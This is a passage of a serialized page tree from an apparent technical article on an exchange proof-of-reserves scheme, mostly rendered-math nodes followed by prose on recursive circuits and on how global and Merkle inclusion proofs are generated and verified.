,{"type":23,"tag":135,"props":93517,"children":93519},{"className":93518},[1981,1982],[93520],{"type":23,"tag":139,"props":93521,"children":93523},{"className":93522},[1987],[93524],{"type":23,"tag":139,"props":93525,"children":93527},{"className":93526,"ariaHidden":1993},[1992],[93528,93634],{"type":23,"tag":139,"props":93529,"children":93531},{"className":93530},[1998],[93532,93536,93541,93546,93551,93556,93561,93566,93571,93576,93581,93586,93591,93596,93601,93606,93611,93616,93621,93625,93630],{"type":23,"tag":139,"props":93533,"children":93535},{"className":93534,"style":90893},[2003],[],{"type":23,"tag":139,"props":93537,"children":93539},{"className":93538},[2009,19596],[93540],{"type":28,"value":64},{"type":23,"tag":139,"props":93542,"children":93544},{"className":93543},[2009,19596],[93545],{"type":28,"value":90942},{"type":23,"tag":139,"props":93547,"children":93549},{"className":93548},[2009,19596],[93550],{"type":28,"value":19738},{"type":23,"tag":139,"props":93552,"children":93554},{"className":93553,"style":90951},[2009],[93555],{"type":28,"value":1057},{"type":23,"tag":139,"props":93557,"children":93559},{"className":93558},[2009,19596],[93560],{"type":28,"value":24},{"type":23,"tag":139,"props":93562,"children":93564},{"className":93563,"style":90951},[2009,19596],[93565],{"type":28,"value":91770},{"type":23,"tag":139,"props":93567,"children":93569},{"className":93568},[2009,19596],[93570],{"type":28,"value":1728},{"type":23,"tag":139,"props":93572,"children":93574},{"className":93573},[2009,19596],[93575],{"type":28,"value":90978},{"type":23,"tag":139,"props":93577,"children":93579},{"className":93578},[19725],[93580],{"type":28,"value":1723},{"type":23,"tag":139,"props":93582,"children":93584},{"className":93583},[2009,19596],[93585],{"type":28,"value":64},{"type":23,"tag":139,"props":93587,"children":93589},{"className":93588},[2009,19596],[93590],{"type":28,"value":90942},{"type":23,"tag":139,"props":93592,"children":93594},{"className":93593},[2009,19596],[93595],{"type":28,"value":19738},{"type":23,"tag":139,"props":93597,"children":93599},{"className":93598,"style":90951},[2009],[93600],{"type":28,"value":1057},{"type":23,"tag":139,"props":93602,"children":93604},{"className":93603},[2009,19596],[93605],{"type":28,"value":54302},{"type":23,"tag":139,"props":93607,"children":93609},{"className":93608},[2009,19596],[93610],{"type":28,"value":91210},{"type":23,"tag":139,"props":93612,"children":93614},{"className":93613},[2009,19596],[93615],{"type":28,"value":49031},{"type":23,"tag":139,"props":93617,"children":93619},{"className":93618},[19747],[93620],{"type":28,"value":13423},{"type":23,"tag":139,"props":93622,"children":93624},{"className":93623,"style":2187},[2089],[],{"type":23,"tag":139,"props":93626,"children":93628},{"className":93627},[2192],[93629],{"type":28,"value":6580},{"type":23,"tag":139,"props":93631,"children":93633},{"className":93632,"style":2187},[2089],[],{"type":23,"tag":139,"props":93635,"children":93637},{"className":93636},[1998],[93638,93642,93647,93652,93657,93662,93667,93724,93729,93734,93739,93744,93749,93754,93759,93764,93769,93774,93779,93784,93789,93794,93799,93804,93809,93814,93819,93824,93829,93834,93839],{"type":23,"tag":139,"props":93639,"children":93641},{"className":93640,"style":90893},[2003],[],{"type":23,"tag":139,"props":93643,"children":93645},{"className":93644},[2009,19596],[93646],{"type":28,"value":8661},{"type":23,"tag":139,"props":93648,"children":93650},{"className":93649},[2009,19596],[93651],{"type":28,"value":91210},{"type":23,"tag":139,"props":93653,"children":93655},{"className":93654},[2009,19596],[93656],{"type":28,"value":1199},{"type":23,"tag":139,"props":93658,"children":93660},{"className":93659},[2009,19596],[93661],{"type":28,"value":24},{"type":23,"tag":139,"props":93663,"children":93665},{"className":93664},[2009,19596],[93666],{"type":28,"value":93297},{"type":23,"tag":139,"props":93668,"children":93670},{"className":93669},[2009],[93671,93676],{"type":23,"tag":139,"props":93672,"children":93674},{"className":93673,"style":93305},[2009,19596],[93675],{"type":28,"value":30973},{"type":23,"tag":139,"props":93677,"children":93679},{"className":93678},[2025],[93680],{"type":23,"tag":139,"props":93681,"children":93683},{"className":93682},[2030,19650],[93684,93713],{"type":23,"tag":139,"props":93685,"children":93687},{"className":93686},[2035],[93688,93708],{"type":23,"tag":139,"props":93689,"children":93691},{"className":93690,"style":91480},[2040],[93692],{"type":23,"tag":139,"props":93693,"children":93694},{"style":93326},[93695,93699],{"type":23,"tag":139,"props":93696,"children":93698},{"className":93697,"style":2050},[2049],[],{"type":23,"tag":139,"props":93700,"children":93702},{"className":93701},[2055,2056,2057,2058],[93703],{"type":23,"tag":139,"props":93704,"children":93706},{"className":93705},[2009,19596,2058],[93707],{"type":28,"value":1728},{"type":23,"tag":139,"props":93709,"children":93711},{"className":93710},[19753],[93712],{"type":28,"value":19756},{"type":23,"tag":139,"props":93714,"children":93716},{"className":93715},[2035],[93717],{"type":23,"tag":139,"props":93718,"children":93720},{"className":93719,"style":91034},[2040],[93721],{"type":23,"tag":139,"props":93722,"children":93723},{},[],{"type":23,"tag":139,"props":93725,"children":93727},{"className":93726},[2009],[93728],{"type":28,"value":73},{"type":23,"tag":139,"props":93730,"children":93732},{"className":93731},[2009,19596],[93733],{"type":28,"value":24},{"type":23,"tag":139,"props":93735,"children":93737},{"className":93736},[2009,19596],[93738],{"type":28,"value":91210},{"type":23,"tag":139,"props":93740,"children":93742},{"className":93741},[2009,19596],[93743],{"type":28,"value":1199},{"type":23,"tag":139,"props":93745,"children":93747},{"className":93746,"style":90963},[2009,19596],[93748],{"type":28,"value":90966},{"type":23,"tag":139,"props":93750,"children":93752},{"className":93751},[2009,19596],[93753],{"type":28,"value":1728},{"type":23,"tag":139,"props":93755,"children":93757},{"className":93756},[2009,19596],[93758],{"type":28,"value":1123},{"type":23,"tag":139,"props":93760,"children":93762},{"className":93761,"style":90951},[2009],[93763],{"type":28,"value":1057},{"type":23,"tag":139,"props":93765,"children":93767},{"className":93766},[2009,19596],[93768],{"type":28,"value":93402},{"type":23,"tag":139,"props":93770,"children":93772},{"className":93771},[2009,19596],[93773],{"type":28,"value":24},{"type":23,"tag":139,"props":93775,"children":93777},{"className":93776},[2009,19596],[93778],{"type":28,"value":91210},{"type":23,"tag":139,"props":93780,"children":93782},{"className":93781},[2009,19596],[93783],{"type":28,"value":19738},{"type":23,"tag":139,"props":93785,"children":93787},{"className":93786},[2009],[93788],{"type":28,"value":73},{"type":23,"tag":139,"props":93790,"children":93792},{"className":93791},[2009,19596],[93793],{"type":28,"value":64},{"type":23,"tag":139,"props":93795,"children":93797},{"className":93796},[2009,19596],[93798],{"type":28,"value":90942},{"type":23,"tag":139,"props":93800,"children":93802},{"className":93801},[2009,19596],[93803],{"type":28,"value":19738},{"type":23,"tag":139,"props":93805,"children":93807},{"className":93806,"style":90951},[2009],[93808],{"type":28,"value":1057},{"type":23,"tag":139,"props":93810,"children":93812},{"className":93811},[2009,19596],[93813],{"type":28,"value":24},{"type":23,"tag":139,"props":93815,"children":93817},{"className":93816,"style":90951},[2009,19596],[93818],{"type":28,"value":91770},{"type":23,"tag":139,"props":93820,"children":93822},{"className":93821},[2009,19596],[93823],{"type":28,"value":1728},{"type":23,"tag":139,"props":93825,"children":93827},{"className":93826},[2009,19596],[93828],{"type":28,"value":91781},{"type":23,"tag":139,"props":93830,"children":93832},{"className":93831},[19725],[93833],{"type":28,"value":1723},{"type":23,"tag":139,"props":93835,"children":93837},{"className":93836},[2009],[93838],{"type":28,"value":2021},{"type":23,"tag":139,"props":93840,"children":93842},{"className":93841},[19747],[93843],{"type":28,"value":13423},{"type":23,"tag":801,"props":93845,"children":93846},{},[93847,94205,94206],{"type":23,"tag":135,"props":93848,"children":93850},{"className":93849},[1981,1982],[93851],{"type":23,"tag":139,"props":93852,"children":93854},{"className":93853},[1987],[93855],{"type":23,"tag":139,"props":93856,"children":93858},{"className":93857,"ariaHidden":1993},[1992],[93859,93965],{"type":23,"tag":139,"props":93860,"children":93862},{"className":93861},[1998],[93863,93867,93872,93877,93882,93887,93892,93897,93902,93907,93912,93917,93922,93927,93932,93937,93942,93947,93952,93956,93961],{"type":23,"tag":139,"props":93864,"children":93866},{"className":93865,"style":90893},[2003],[],{"type":23,"tag":139,"props":93868,"children":93870},{"className":93869},[2009,19596],[93871],{"type":28,"value":64},{"type":23,"tag":139,"props":93873,"children":93875},{"className":93874},[2009,19596],[93876],{"type":28,"value":90942},{"type":23,"tag":139,"props":93878,"children":93880},{"className":93879},[2009,19596],[93881],{"type":28,"value":19738},{"type":23,"tag":139,"props":93883,"children":93885},{"className":93884,"style":90951},[2009],[93886],{"type":28,"value":1057},{"type":23,"tag":139,"props":93888,"children":93890},{"className":93889},[2009,19596],[93891],{"type":28,"value":24},{"type":23,"tag":139,"props":93893,"children":93895},{"className":93894,"style":90951},[2009,19596],[93896],{"type":28,"value":91770},{"type":23,"tag":139,"props":93898,"children":93900},{"className":93899},[2009,19596],[93901],{"type":28,"value":1728},{"type":23,"tag":139,"props":93903,"children":93905},{"className":93904},[2009,19596],[93906],{"type":28,"value":90978},{"type":23,"tag":139,"props":93908,"children":93910},{"className":93909},[19725],[93911],{"type":28,"value":1723},{"type":23,"tag":139,"props":93913,"children":93915},{"className":93914},[2009,19596],[93916],{"type":28,"value":64},{"type":23,"tag":139,"props":93918,"children":93920},{"className":93919},[2009,19596],[93921],{"type":28,"value":90942},{"type":23,"tag":139,"props":93923,"children":93925},{"className":93924},[2009,19596],[93926],{"type":28,"value":19738},{"type":23,"tag":139,"props":93928,"children":93930},{"className":93929,"style":90951},[2009],[93931],{"type":28,"value":1057},{"type":23,"tag":139,"props":93933,"children":93935},{"className":93934},[2009,19596],[93936],{"type":28,"value":54302},{"type":23,"tag":139,"props":93938,"children":93940},{"className":93939},[2009,19596],[93941],{"type":28,"value":91210},{"type":23,"tag":139,"props":93943,"children":93945},{"className":93944},[2009,19596],[93946],{"type":28,"value":49031},{"type":23,"tag":139,"props":93948,"children":93950},{"className":93949},[19747],[93951],{"type":28,"value":13423},{"type":23,"tag":139,"props":93953,"children":93955},{"className":93954,"style":2187},[2089],[],{"type":23,"tag":139,"props":93957,"children":93959},{"className":93958},[2192],[93960],{"type":28,"value":6580},{"type":23,"tag":139,"props":93962,"children":93964},{"className":93963,"style":2187},[2089],[],{"type":23,"tag":139,"props":93966,"children":93968},{"className":93967},[1998],[93969,93973,93978,93983,93988,93993,93998,94055,94060,94065,94070,94075,94080,94085,94090,94095,94100,94105,94110,94115,94120,94125,94130,94135,94140,94145,94150,94155,94160,94165,94170,94175,94180,94185,94190,94195,94200],{"type":23,"tag":139,"props":93970,"children":93972},{"className":93971,"style":90893},[2003],[],{"type":23,"tag":139,"props":93974,"children":93976},{"className":93975},[2009,19596],[93977],{"type":28,"value":8661},{"type":23,"tag":139,"props":93979,"children":93981},{"className":93980},[2009,19596],[93982],{"type":28,"value":91210},{"type":23,"tag":139,"props":93984,"children":93986},{"className":93985},[2009,19596],[93987],{"type":28,"value":1199},{"type":23,"tag":139,"props":93989,"children":93991},{"className":93990},[2009,19596],[93992],{"type":28,"value":24},{"type":23,"tag":139,"props":93994,"children":93996},{"className":93995},[2009,19596],[93997],{"type":28,"value":93297},{"type":23,"tag":139,"props":93999,"children":94001},{"className":94000},[2009],[94002,94007],{"type":23,"tag":139,"props":94003,"children":94005},{"className":94004,"style":93305},[2009,19596],[94006],{"type":28,"value":30973},{"type":23,"tag":139,"props":94008,"children":94010},{"className":94009},[2025],[94011],{"type":23,"tag":139,"props":94012,"children":94014},{"className":94013},[2030,19650],[94015,94044],{"type":23,"tag":139,"props":94016,"children":94018},{"className":94017},[2035],[94019,94039],{"type":23,"tag":139,"props":94020,"children":94022},{"className":94021,"style":91480},[2040],[94023],{"type":23,"tag":139,"props":94024,"children":94025},{"style":93326},[94026,94030],{"type":23,"tag":139,"props":94027,"children":94029},{"className":94028,"style":2050},[2049],[],{"type":23,"tag":139,"props":94031,"children":94033},{"className":94032},[2055,2056,2057,2058],[94034],{"type":23,"tag":139,"props":94035,"children":94037},{"className":94036},[2009,19596,2058],[94038],{"type":28,"value":1728},{"type":23,"tag":139,"props":94040,"children":94042},{"className":94041},[19753],[94043],{"type":28,"value":19756},{"type":23,"tag":139,"props":94045,"children":94047},{"className":94046},[2035],[94048],{"type":23,"tag":139,"props":94049,"children":94051},{"className":94050,"style":91034},[2040],[94052],{"type":23,"tag":139,"props":94053,"children":94054},{},[],{"type":23,"tag":139,"props":94056,"children":94058},{"className":94057},[2009],[94059],{"type":28,"value":73},{"type":23,"tag":139,"props":94061,"children":94063},{"className":94062},[2009,19596],[94064],{"type":28,"value":24},{"type":23,"tag":139,"props":94066,"children":94068},{"className":94067},[2009,19596],[94069],{"type":28,"value":91210},{"type":23,"tag":139,"props":94071,"children":94073},{"className":94072},[2009,19596],[94074],{"type":28,"value":1199},{"type":23,"tag":139,"props":94076,"children":94078},{"className":94077,"style":90963},[2009,19596],[94079],{"type":28,"value":90966},{"type":23,"tag":139,"props":94081,"children":94083},{"className":94082},[2009,19596],[94084],{"type":28,"value":1728},{"type":23,"tag":139,"props":94086,"children":94088},{"className":94087},[2009,19596],[94089],{"type":28,"value":1123},{"type":23,"tag":139,"props":94091,"children":94093},{"className":94092,"style":90951},[2009],[94094],{"type":28,"value":1057},{"type":23,"tag":139,"props":94096,"children":94098},{"className":94097},[2009,19596],[94099],{"type":28,"value":93402},{"type":23,"tag":139,"props":94101,"children":94103},{"className":94102},[2009,19596],[94104],{"type":28,"value":24},{"type":23,"tag":139,"props":94106,"children":94108},{"className":94107},[2009,19596],[94109],{"type":28,"value":91210},{"type":23,"tag":139,"props":94111,"children":94113},{"className":94112},[2009,19596],[94114],{"type":28,"value":19738},{"type":23,"tag":139,"props":94116,"children":94118},{"className":94117},[2009],[94119],{"type":28,"value":73},{"type":23,"tag":139,"props":94121,"children":94123},{"className":94122},[2009,19596],[94124],{"type":28,"value":64},{"type":23,"tag":139,"props":94126,"children":94128},{"className":94127},[2009,19596],[94129],{"type":28,"value":90942},{"type":23,"tag":139,"props":94131,"children":94133},{"className":94132},[2009,19596],[94134],{"type":28,"value":19738},{"type":23,"tag":139,"props":94136,"children":94138},{"className":94137,"style":90951},[2009],[94139],{"type":28,"value":1057},{"type":23,"tag":139,"props":94141,"children":94143},{"className":94142},[2009,19596],[94144],{"type":28,"value":24},{"type":23,"tag":139,"props":94146,"children":94148},{"className":94147,"style":90951},[2009,19596],[94149],{"type":28,"value":91770},{"type":23,"tag":139,"props":94151,"children":94153},{"className":94152},[2009,19596],[94154],{"type":28,"value":1728},{"type":23,"tag":139,"props":94156,"children":94158},{"className":94157},[2009,19596],[94159],{"type":28,"value":91781},{"type":23,"tag":139,"props":94161,"children":94163},{"className":94162},[19725],[94164],{"type":28,"value":1723},{"type":23,"tag":139,"props":94166,"children":94168},{"className":94167},[2009,19596],[94169],{"type":28,"value":64},{"type":23,"tag":139,"props":94171,"children":94173},{"className":94172},[2009,19596],[94174],{"type":28,"value":90942},{"type":23,"tag":139,"props":94176,"children":94178},{"className":94177},[2009,19596],[94179],{"type":28,"value":19738},{"type":23,"tag":139,"props":94181,"children":94183},{"className":94182,"style":90951},[2009],[94184],{"type":28,"value":1057},{"type":23,"tag":139,"props":94186,"children":94188},{"className":94187},[2009,19596],[94189],{"type":28,"value":54302},{"type":23,"tag":139,"props":94191,"children":94193},{"className":94192},[2009,19596],[94194],{"type":28,"value":91210},{"type":23,"tag":139,"props":94196,"children":94198},{"className":94197},[2009,19596],[94199],{"type":28,"value":49031},{"type":23,"tag":139,"props":94201,"children":94203},{"className":94202},[19747],[94204],{"type":28,"value":13423},{"type":28,"value":471},{"type":23,"tag":56,"props":94207,"children":94208},{},[94209],{"type":28,"value":94210},"(verifies if all asset prices are the same)",{"type":23,"tag":801,"props":94212,"children":94213},{},[94214,94593,94594],{"type":23,"tag":135,"props":94215,"children":94217},{"className":94216},[1981,1982],[94218],{"type":23,"tag":139,"props":94219,"children":94221},{"className":94220},[1987],[94222],{"type":23,"tag":139,"props":94223,"children":94225},{"className":94224,"ariaHidden":1993},[1992],[94226,94307],{"type":23,"tag":139,"props":94227,"children":94229},{"className":94228},[1998],[94230,94234,94239,94244,94249,94254,94259,94264,94269,94274,94279,94284,94289,94294,94298,94303],{"type":23,"tag":139,"props":94231,"children":94233},{"className":94232,"style":92364},[2003],[],{"type":23,"tag":139,"props":94235,"children":94237},{"className":94236},[2009,19596],[94238],{"type":28,"value":49031},{"type":23,"tag":139,"props":94240,"children":94242},{"className":94241,"style":90951},[2009,19596],[94243],{"type":28,"value":92376},{"type":23,"tag":139,"props":94245,"children":94247},{"className":94246,"style":92380},[2009,19596],[94248],{"type":28,"value":86588},{"type":23,"tag":139,"props":94250,"children":94252},{"className":94251,"style":90963},[2009,19596],[94253],{"type":28,"value":90966},{"type":23,"tag":139,"props":94255,"children":94257},{"className":94256},[2009,19596],[94258],{"type":28,"value":49352},{"type":23,"tag":139,"props":94260,"children":94262},{"className":94261,"style":90951},[2009],[94263],{"type":28,"value":1057},{"type":23,"tag":139,"props":94265,"children":94267},{"className":94266},[2009,19596],[94268],{"type":28,"value":19738},{"type":23,"tag":139,"props":94270,"children":94272},{"className":94271},[2009,19596],[94273],{"type":28,"value":92408},{"type":23,"tag":139,"props":94275,"children":94277},{"className":94276,"style":90951},[2009],[94278],{"type":28,"value":1057},{"type":23,"tag":139,"props":94280,"children":94282},{"className":94281},[2009,19596],[94283],{"type":28,"value":92419},{"type":23,"tag":139,"props":94285,"children":94287},{"className":94286},[2009,19596],[94288],{"type":28,"value":8661},{"type":23,"tag":139,"props":94290,"children":94292},{"className":94291},[2009,19596],[94293],{"type":28,"value":82249},{"type":23,"tag":139,"props":94295,"children":94297},{"className":94296,"style":2187},[2089],[],{"type":23,"tag":139,"props":94299,"children":94301},{"className":94300},[2192],[94302],{"type":28,"value":6580},{"type":23,"tag":139,"props":94304,"children":94306},{"className":94305,"style":2187},[2089],[],{"type":23,"tag":139,"props":94308,"children":94310},{"className":94309},[1998],[94311,94315,94320,94325,94330,94335,94340,94345,94350,94355,94360,94417,94422,94426,94431,94436,94493,94498,94502,94507,94512,94516,94521,94526,94588],{"type":23,"tag":139,"props":94312,"children":94314},{"className":94313,"style":2110},[2003],[],{"type":23,"tag":139,"props":94316,"children":94318},{"className":94317,"style":19597},[2009,19596],[94319],{"type":28,"value":19600},{"type":23,"tag":139,"props":94321,"children":94323},{"className":94322},[2009,19596],[94324],{"type":28,"value":90905},{"type":23,"tag":139,"props":94326,"children":94328},{"className":94327},[2009,19596],[94329],{"type":28,"value":1728},{"type":23,"tag":139,"props":94331,"children":94333},{"className":94332},[2009,19596],[94334],{"type":28,"value":68466},{"type":23,"tag":139,"props":94336,"children":94338},{"className":94337},[2009,19596],[94339],{"type":28,"value":90921},{"type":23,"tag":139,"props":94341,"children":94343},{"className":94342},[2009,19596],[94344],{"type":28,"value":54302},{"type":23,"tag":139,"props":94346,"children":94348},{"className":94347},[19725],[94349],{"type":28,"value":262},{"type":23,"tag":139,"props":94351,"children":94353},{"className":94352},[2009,19596],[94354],{"type":28,"value":92419},{"type":23,"tag":139,"props":94356,"children":94358},{"className":94357},[2009,19596],[94359],{"type":28,"value":8661},{"type":23,"tag":139,"props":94361,"children":94363},{"className":94362},[2009],[94364,94369],{"type":23,"tag":139,"props":94365,"children":94367},{"className":94366},[2009,19596],[94368],{"type":28,"value":82249},{"type":23,"tag":139,"props":94370,"children":94372},{"className":94371},[2025],[94373],{"type":23,"tag":139,"props":94374,"children":94376},{"className":94375},[2030,19650],[94377,94406],{"type":23,"tag":139,"props":94378,"children":94380},{"className":94379},[2035],[94381,94401],{"type":23,"tag":139,"props":94382,"children":94384},{"className":94383,"style":91003},[2040],[94385],{"type":23,"tag":139,"props":94386,"children":94387},{"style":91007},[94388,94392],{"type":23,"tag":139,"props":94389,"children":94391},{"className":94390,"style":2050},[2049],[],{"type":23,"tag":139,"props":94393,"children":94395},{"className":94394},[2055,2056,2057,2058],[94396],{"type":23,"tag":139,"props":94397,"children":94399},{"className":94398},[2009,2058],[94400],{"type":28,"value":2021},{"type":23,"tag":139,"props":94402,"children":94404},{"className":94403},[19753],[94405],{"type":28,"value":19756},{"type":23,"tag":139,"props":94407,"children":94409},{"className":94408},[2035],[94410],{"type":23,"tag":139,"props":94411,"children":94413},{"className":94412,"style":91034},[2040],[94414],{"type":23,"tag":139,"props":94415,"children":94416},{},[],{"type":23,"tag":139,"props":94418,"children":94420},{"className":94419},[2121],[94421],{"type":28,"value":2124},{"type":23,"tag":139,"props":94423,"children":94425},{"className":94424,"style":2128},[2089],[],{"type":23,"tag":139,"props":94427,"children":94429},{"className":94428},[2009,19596],[94430],{"type":28,"value":92419},{"type":23,"tag":139,"props":94432,"children":94434},{"className":94433},[2009,19596],[94435],{"type":28,"value":8661},{"type":23,"tag":139,"props":94437,"children":94439},{"className":94438},[2009],[94440,94445],{"type":23,"tag":139,"props":94441,"children":94443},{"className":94442},[2009,19596],[94444],{"type":28,"value":82249},{"type":23,"tag":139,"props":94446,"children":94448},{"className":94447},[2025],[94449],{"type":23,"tag":139,"props":94450,"children":94452},{"className":94451},[2030,19650],[94453,94482],{"type":23,"tag":139,"props":94454,"children":94456},{"className":94455},[2035],[94457,94477],{"type":23,"tag":139,"props":94458,"children":94460},{"className":94459,"style":91003},[2040],[94461],{"type":23,"tag":139,"props":94462,"children":94463},{"style":91007},[94464,94468],{"type":23,"tag":139,"props":94465,"children":94467},{"className":94466,"style":2050},[2049],[],{"type":23,"tag":139,"props":94469,"children":94471},{"className":94470},[2055,2056,2057,2058],[94472],{"type":23,"tag":139,"props":94473,"children":94475},{"className":94474},[2009,2058],[94476],{"type":28,"value":647},{"type":23,"tag":139,"props":94478,"children":94480},{"className":94479},[19753],[94481],{"type":28,"value":19756},{"type":23,"tag":139,"props":94483,"children":94485},{"className":94484},[2035],[94486],{"type":23,"tag":139,"props":94487,"children":94489},{"className":94488,"style":91034},[2040],[94490],{"type":23,"tag":139,"props":94491,"children":94492},{},[],{"type":23,"tag":139,"props":94494,"children":94496},{"className":94495},[2121],[94497],{"type":28,"value":2124},{"type":23,"tag":139,"props":94499,"children":94501},{"className":94500,"style":2128},[2089],[],{"type":23,"tag":139,"props":94503,"children":94505},{"className":94504},[2009],[94506],{"type":28,"value":7599},{"type":23,"tag":139,"props":94508,"children":94510},{"className":94509},[2121],[94511],{"type":28,"value":2124},{"type":23,"tag":139,"props":94513,"children":94515},{"className":94514,"style":2128},[2089],[],{"type":23,"tag":139,"props":94517,"children":94519},{"className":94518},[2009,19596],[94520],{"type":28,"value":92419},{"type":23,"tag":139,"props":94522,"children":94524},{"className":94523},[2009,19596],[94525],{"type":28,"value":8661},{"type":23,"tag":139,"props":94527,"children":94529},{"className":94528},[2009],[94530,94535],{"type":23,"tag":139,"props":94531,"children":94533},{"className":94532},[2009,19596],[94534],{"type":28,"value":82249},{"type":23,"tag":139,"props":94536,"children":94538},{"className":94537},[2025],[94539],{"type":23,"tag":139,"props":94540,"children":94542},{"className":94541},[2030,19650],[94543,94577],{"type":23,"tag":139,"props":94544,"children":94546},{"className":94545},[2035],[94547,94572],{"type":23,"tag":139,"props":94548,"children":94550},{"className":94549,"style":91003},[2040],[94551],{"type":23,"tag":139,"props":94552,"children":94553},{"style":91007},[94554,94558],{"type":23,"tag":139,"props":94555,"children":94557},{"className":94556,"style":2050},[2049],[],{"type":23,"tag":139,"props":94559,"children":94561},{"className":94560},[2055,2056,2057,2058],[94562],{"type":23,"tag":139,"props":94563,"children":94565},{"className":94564},[2009,2058],[94566],{"type":23,"tag":139,"props":94567,"children":94569},{"className":94568},[2009,2058],[94570],{"type":28,"value":94571},"31",{"type":23,"tag":139,"props":94573,"children":94575},{"className":94574},[19753],[94576],{"type":28,"value":19756},{"type":23,"tag":139,"props":94578,"children":94580},{"className":94579},[2035],[94581],{"type":23,"tag":139,"props":94582,"children":94584},{"className":94583,"style":91034},[2040],[94585],{"type":23,"tag":139,"props":94586,"children":94587},{},[],{"type":23,"tag":139,"props":94589,"children":94591},{"className":94590},[19747],[94592],{"type":28,"value":1104},{"type":28,"value":471},{"type":23,"tag":56,"props":94595,"children":94596},{},[94597],{"type":28,"value":92739},{"type":23,"tag":801,"props":94599,"children":94600},{},[94601,94606,94607],{"type":23,"tag":659,"props":94602,"children":94603},{},[94604],{"type":28,"value":94605},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":471},{"type":23,"tag":56,"props":94608,"children":94609},{},[94610],{"type":28,"value":93023},{"type":23,"tag":24,"props":94612,"children":94613},{},[94614],{"type":28,"value":94615},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":94617,"children":94618},{},[94619],{"type":23,"tag":429,"props":94620,"children":94622},{"alt":48476,"src":94621},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":41,"props":94624,"children":94626},{"id":94625},"global-proof-and-inclusion-proofs",[94627],{"type":28,"value":94628},"Global Proof and Inclusion Proofs",{"type":23,"tag":666,"props":94630,"children":94631},{"id":7289},[94632],{"type":28,"value":94633},"Proving",{"type":23,"tag":24,"props":94635,"children":94636},{},[94637,94639,94645,94646,94652,94653,94659],{"type":28,"value":94638},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":135,"props":94640,"children":94642},{"className":94641},[],[94643],{"type":28,"value":94644},"merkle_tree.json",{"type":28,"value":1052},{"type":23,"tag":135,"props":94647,"children":94649},{"className":94648},[],[94650],{"type":28,"value":94651},"final_proof.json",{"type":28,"value":4490},{"type":23,"tag":135,"props":94654,"children":94656},{"className":94655},[],[94657],{"type":28,"value":94658},"private_nonces.json",{"type":28,"value":94660}," files.",{"type":23,"tag":24,"props":94662,"children":94663},{},[94664],{"type":28,"value":94665},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":94667,"children":94668},{},[94669,94671,94677,94679,94684],{"type":28,"value":94670},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":135,"props":94672,"children":94674},{"className":94673},[],[94675],{"type":28,"value":94676},"inclusion_proof_\u003Cid>.json",{"type":28,"value":94678},"). ",{"type":23,"tag":659,"props":94680,"children":94681},{},[94682],{"type":28,"value":94683},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":73},{"type":23,"tag":666,"props":94686,"children":94688},{"id":94687},"verifying",[94689],{"type":28,"value":94690},"Verifying",{"type":23,"tag":24,"props":94692,"children":94693},{},[94694],{"type":23,"tag":56,"props":94695,"children":94696},{},[94697],{"type":28,"value":94698},"Global Proof",{"type":23,"tag":24,"props":94700,"children":94701},{},[94702,94704,94709,94710,94715],{"type":28,"value":94703},"To verify the global proof, the code deserializes the ",{"type":23,"tag":135,"props":94705,"children":94707},{"className":94706},[],[94708],{"type":28,"value":94644},{"type":28,"value":35440},{"type":23,"tag":135,"props":94711,"children":94713},{"className":94712},[],[94714],{"type":28,"value":94651},{"type":28,"value":94716}," files and performs these checks:",{"type":23,"tag":797,"props":94718,"children":94719},{},[94720,94725,94730,94735,94761],{"type":23,"tag":801,"props":94721,"children":94722},{},[94723],{"type":28,"value":94724},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":801,"props":94726,"children":94727},{},[94728],{"type":28,"value":94729},"Verify the ZK final proof.",{"type":23,"tag":801,"props":94731,"children":94732},{},[94733],{"type":28,"value":94734},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":801,"props":94736,"children":94737},{},[94738,94740,94746,94748,94753,94754,94759],{"type":28,"value":94739},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":135,"props":94741,"children":94743},{"className":94742},[],[94744],{"type":28,"value":94745},"merkle_tree_hash",{"type":28,"value":94747}," public input. This ensures that the ",{"type":23,"tag":135,"props":94749,"children":94751},{"className":94750},[],[94752],{"type":28,"value":94644},{"type":28,"value":9002},{"type":23,"tag":135,"props":94755,"children":94757},{"className":94756},[],[94758],{"type":28,"value":94651},{"type":28,"value":94760}," are linked (they belong to the same global proof).",{"type":23,"tag":801,"props":94762,"children":94763},{},[94764],{"type":28,"value":94765},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":94767,"children":94768},{},[94769],{"type":23,"tag":56,"props":94770,"children":94771},{},[94772],{"type":28,"value":94773},"Inclusion Proof",{"type":23,"tag":24,"props":94775,"children":94776},{},[94777,94779,94784,94786,94791],{"type":28,"value":94778},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":135,"props":94780,"children":94782},{"className":94781},[],[94783],{"type":28,"value":94676},{"type":28,"value":94785}," file and also the ",{"type":23,"tag":135,"props":94787,"children":94789},{"className":94788},[],[94790],{"type":28,"value":94651},{"type":28,"value":94792},". After that, it performs these checks:",{"type":23,"tag":797,"props":94794,"children":94795},{},[94796,94800,94805,94810],{"type":23,"tag":801,"props":94797,"children":94798},{},[94799],{"type":28,"value":94729},{"type":23,"tag":801,"props":94801,"children":94802},{},[94803],{"type":28,"value":94804},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":801,"props":94806,"children":94807},{},[94808],{"type":28,"value":94809},"Recalculate the user-related node leaf hash.",{"type":23,"tag":801,"props":94811,"children":94812},{},[94813],{"type":28,"value":94814},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":41,"props":94816,"children":94818},{"id":94817},"por-verifier-server",[94819],{"type":28,"value":94820},"PoR 